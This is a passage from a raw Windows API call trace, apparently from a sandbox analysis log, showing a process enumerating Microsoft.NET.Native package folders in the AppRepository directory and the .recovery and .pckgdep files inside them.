ftLastAccessTime.dwLowDateTime=0x5f7c8b5, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5f7c8b5, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f46f0 [0220.117] FindNextFileW (in: hFindFile=0x1d1f46f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91bb1939, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5f7c8b5, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5f7c8b5, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.117] FindNextFileW (in: hFindFile=0x1d1f46f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d8273, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56d8273, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56d8273, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.117] FindNextFileW (in: hFindFile=0x1d1f46f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f7c8b5, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5f7c8b5, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5f7c8b5, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0220.117] FindNextFileW (in: hFindFile=0x1d1f46f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d8273, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56d8273, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56d8273, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0220.118] FindNextFileW (in: hFindFile=0x1d1f46f0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d8273, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56d8273, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56d8273, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0220.118] FindClose (in: hFindFile=0x1d1f46f0 | out: hFindFile=0x1d1f46f0) returned 1 [0220.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.119] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7d [0220.119] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917f803f, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x917f803f, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x5cf40ca, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f48d0 [0220.121] FindNextFileW (in: hFindFile=0x1d1f48d0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917f803f, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x917f803f, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x5cf40ca, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.121] FindNextFileW (in: hFindFile=0x1d1f48d0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d8273, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56d8273, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56d8273, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.121] FindNextFileW (in: hFindFile=0x1d1f48d0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cf40ca, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5cf40ca, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5cf40ca, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0220.121] FindNextFileW (in: hFindFile=0x1d1f48d0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d8273, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56d8273, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56d8273, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0220.122] FindNextFileW (in: hFindFile=0x1d1f48d0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.122] FindClose (in: hFindFile=0x1d1f48d0 | out: hFindFile=0x1d1f48d0) returned 1 [0220.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.123] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7d [0220.123] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917f803f, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5cf40ca, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5cf40ca, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f53b0 [0220.124] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917f803f, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5cf40ca, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5cf40ca, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.124] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d8273, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56d8273, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56d8273, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.125] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cf40ca, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5cf40ca, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5cf40ca, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0220.125] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d8273, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56d8273, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56d8273, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0220.125] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d8273, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56d8273, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56d8273, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0220.125] FindClose (in: hFindFile=0x1d1f53b0 | out: hFindFile=0x1d1f53b0) returned 1 [0220.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.127] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7b [0220.127] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0a1af0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x9f0a1af0, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xd4b85000, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f47b0 [0220.251] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0a1af0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x9f0a1af0, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xd4b85000, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.251] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1bfc6d0, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xf1bfc6d0, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xf1c95155, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.252] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.252] FindClose (in: hFindFile=0x1d1f47b0 | out: hFindFile=0x1d1f47b0) returned 1 [0220.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.253] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7b [0220.253] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0a1af0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd4b85000, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd4b85000, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f3fd0 [0220.254] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0a1af0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd4b85000, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd4b85000, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.254] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1bfc6d0, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xf1bfc6d0, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xf1c95155, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.255] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1bfc6d0, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xf1bfc6d0, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xf1c95155, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0220.255] FindClose (in: hFindFile=0x1d1f3fd0 | out: hFindFile=0x1d1f3fd0) returned 1 [0220.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.256] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7b [0220.256] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f3e8f81, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x9f3e8f81, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xd4b85000, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4150 [0220.258] FindNextFileW (in: hFindFile=0x1d1f4150, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f3e8f81, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x9f3e8f81, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xd4b85000, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.259] FindNextFileW (in: hFindFile=0x1d1f4150, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1dc6275, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xf1dc6275, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xf1fdc3dd, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.259] FindNextFileW (in: hFindFile=0x1d1f4150, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.259] FindClose (in: hFindFile=0x1d1f4150 | out: hFindFile=0x1d1f4150) returned 1 [0220.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.260] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7b [0220.260] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f3e8f81, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd4b85000, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd4b85000, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4210 [0220.262] FindNextFileW (in: hFindFile=0x1d1f4210, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f3e8f81, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd4b85000, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd4b85000, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.262] FindNextFileW (in: hFindFile=0x1d1f4210, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1dc6275, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xf1dc6275, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xf1fdc3dd, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.262] FindNextFileW (in: hFindFile=0x1d1f4210, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1dc6275, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xf1dc6275, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xf1fdc3dd, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0220.262] FindClose (in: hFindFile=0x1d1f4210 | out: hFindFile=0x1d1f4210) returned 1 [0220.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 